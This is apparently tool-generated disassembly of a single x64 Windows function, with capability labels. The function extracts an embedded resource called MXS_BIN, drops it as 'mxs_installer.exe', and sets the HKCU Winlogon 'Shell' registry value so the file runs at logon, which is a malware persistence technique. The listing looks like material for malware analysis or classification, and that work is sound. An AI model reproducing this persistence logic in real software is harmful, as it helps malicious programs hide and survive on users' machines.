Function at 0x140001e40
Capabilities:
Extract resource via kernel32 functions
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x168]
sub rsp, 0x250
mov rax, qword [0x140040060]
xor rax, rsp
mov qword [rbp + 0x140], rax
xor r14d, r14d
lea r8, str.MXS_BIN
lea edx, [r14 + 0x67]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindResourceW]
mov rbx, rax
test rax, rax
jne 0x140001e99
lea eax, [rbx + 1]
jmp 0x14000233a
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rdi, rax
test rax, rax
jne 0x140001eb4
lea eax, [rdi + 2]
jmp 0x14000233a
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SizeofResource]
mov esi, eax
test eax, eax
jne 0x140001ecf
mov eax, 3
jmp 0x14000233a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rbx, rax
test rax, rax
jne 0x140001ee8
lea eax, [rbx + 4]
jmp 0x14000233a
mov qword [rsp + 0x58], r14
mov qword [rbp + 0x28], r14
lea r8, [0x14003a790]
lea rdx, [rbp + 0x28]
lea rcx, [rsp + 0x58]
call fcn.1400111a4
mov qword [rbp - 0x18], r14
mov qword [rbp - 8], r14
mov qword [rbp], r14
mov rdx, qword [rsp + 0x58]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r14b
jne 0x140001f1b
lea rcx, [rbp - 0x18]
call fcn.140005d18
nop
mov rcx, qword [rsp + 0x58]
call fcn.140010574
mov qword [rbp - 0x78], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
lea rdx, [rbp - 0x18]
mov edi, 0x10
cmp qword [rbp], rdi
cmovae rdx, qword [rbp - 0x18]
mov r8, qword [rbp - 8]
lea rcx, [rbp - 0x78]
call fcn.140005dd8
nop
lea r8d, [rdi + 2]
lea rdx, str.mxs_installer.exe
lea rcx, [rbp - 0x78]
call fcn.140004820
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], r14
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x68], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x78], xmm1
mov qword [rax + 0x10], r14
mov qword [rax + 0x18], 0xf
mov byte [rax], r14b
mov r15d, 0x1000
mov rdx, qword [rbp - 0x60]
cmp rdx, rdi
jb 0x140001fe2
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r15
jb 0x140001fdd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000236c
call fcn.140007a50
movdqa xmm0, xmmword [0x14003a880]
movdqu xmmword [rbp - 0x68], xmm0
mov byte [rbp - 0x78], r14b
xor edx, edx
mov r8d, pe_nt_image_headers64
lea rcx, [rbp + 0x30]
call fcn.140009f80
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], rdi
cmovae rdx, qword [rsp + 0x68]
lea rcx, [rbp + 0x30]
call fcn.1400030f4
nop
cmp qword [rbp + 0xb8], r14
jne 0x140002030
mov ebx, 6
jmp 0x140002295
mov r8, rsi
mov rdx, rbx
lea rcx, [rbp + 0x30]
call fcn.1400032ec
lea rcx, [rbp + 0x38]
call fcn.140004718
test rax, rax
jne 0x14000207c
mov rax, qword [rbp + 0x30]
movsxd rdx, dword [rax + 4]
mov rax, qword [rbp + rdx + 0x78]
neg rax
sbb ecx, ecx
and ecx, 0xfffffffc
add ecx, 6
or ecx, dword [rbp + rdx + 0x40]
and ecx, 0x17
mov dword [rbp + rdx + 0x40], ecx
mov eax, dword [rbp + rdx + 0x44]
and eax, ecx
jne 0x140002372
mov qword [rbp - 0x78], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x68], xmm0
lea rdx, [rsp + 0x68]
cmp qword [rbp - 0x80], rdi
cmovae rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x78]
lea rcx, [rbp - 0x78]
call fcn.140005dd8
nop
mov qword [rbp - 0x38], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x28], xmm0
mov r8d, 0x35
lea rdx, str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogon
lea rcx, [rbp - 0x38]
call fcn.140005d18
nop
mov qword [rbp - 0x58], r14
xorps xmm0, xmm0
movdqu xmmword [rbp - 0x48], xmm0
mov r8d, 5
lea rdx, str.Shell
lea rcx, [rbp - 0x58]
call fcn.140005d18
nop
lea rdx, [rbp - 0x78]
lea rcx, [rbp + 8]
call fcn.140005950
nop
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], rdi
cmovae rdx, qword [rbp - 0x38]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x20], rax
mov r9d, 0x20007
xor r8d, r8d
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ebx, 1
test eax, eax
je 0x14000213e
cmp eax, 2
je 0x140002189
mov edx, eax
call fcn.140003438
jmp 0x140002189
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], rdi
cmovae rdx, qword [rbp - 0x58]
lea rcx, [rbp + 8]
cmp qword [rbp + 0x20], rdi
cmovae rcx, qword [rbp + 8]
mov eax, dword [rbp + 0x18]
inc eax
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, ebx
xor r8d, r8d
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x140002189
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ebx, r14d
mov rdx, qword [rbp + 0x20]
cmp rdx, rdi
jb 0x1400021bf
inc rdx
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, r15
jb 0x1400021ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400023c3
call fcn.140007a50
movdqa xmm0, xmmword [0x14003a880]
movdqu xmmword [rbp + 0x18], xmm0
mov byte [rbp + 8], r14b
mov rdx, qword [rbp - 0x40]
cmp rdx, rdi
jb 0x140002206
inc rdx
mov rcx, qword [rbp - 0x58]
mov rax, rcx
cmp rdx, r15
jb 0x140002201
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400023c9
call fcn.140007a50
movdqa xmm0, xmmword [0x14003a880]
movdqu xmmword [rbp - 0x48], xmm0
mov byte [rbp - 0x58], r14b
mov rdx, qword [rbp - 0x20]
cmp rdx, rdi
jb 0x14000224d
inc rdx
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, r15
jb 0x140002248
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400023cf
call fcn.140007a50
movdqa xmm0, xmmword [0x14003a880]
movdqu xmmword [rbp - 0x28], xmm0
mov byte [rbp - 0x38], r14b
mov rdx, qword [rbp - 0x60]
cmp rdx, rdi
jb 0x140002295
inc rdx
mov rcx, qword [rbp - 0x78]
mov rax, rcx
cmp rdx, r15
jb 0x14000228f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400023d5
call fcn.140007a50
nop
lea rcx, [rbp + 0xd8]
call fcn.140003074
nop
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0xd8], rax
lea rcx, [rbp + 0xd8]
call fcn.1400070d0
nop
mov rdx, qword [rbp - 0x80]
cmp rdx, rdi
jb 0x1400022f4
inc rdx
mov rcx, qword [rsp + 0x68]
mov rax, rcx
cmp rdx, r15
jb 0x1400022ef
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400023db
call fcn.140007a50
mov qword [rsp + 0x78], r14
mov qword [rbp - 0x80], 0xf
mov byte [rsp + 0x68], r14b
mov rdx, qword [rbp]
cmp rdx, rdi
jb 0x140002338
inc rdx
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, r15
jb 0x140002333
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002366
call fcn.140007a50
mov eax, ebx
mov rcx, qword [rbp + 0x140]
xor rcx, rsp
call fcn.140007a30
lea r11, [rsp + 0x250]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
call fcn.140010fac
nop
call fcn.140010fac
nop
test al, 4
je 0x14000237f
lea rdi, [0x14003a738]
jmp 0x140002393
test al, 2
lea rdi, [0x14003a750]
lea rax, [0x14003a768]
cmove rdi, rax
mov edx, 1
lea rcx, [rbp - 0x78]
call fcn.140001418
mov r8, rax
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.140001c9c
lea rdx, [0x14003e5a8]
lea rcx, [rsp + 0x30]
call fcn.1400097d4
nop
call fcn.140010fac
nop
call fcn.140010fac
nop
call fcn.140010fac
nop
call fcn.140010fac
nop
call fcn.140010fac
int3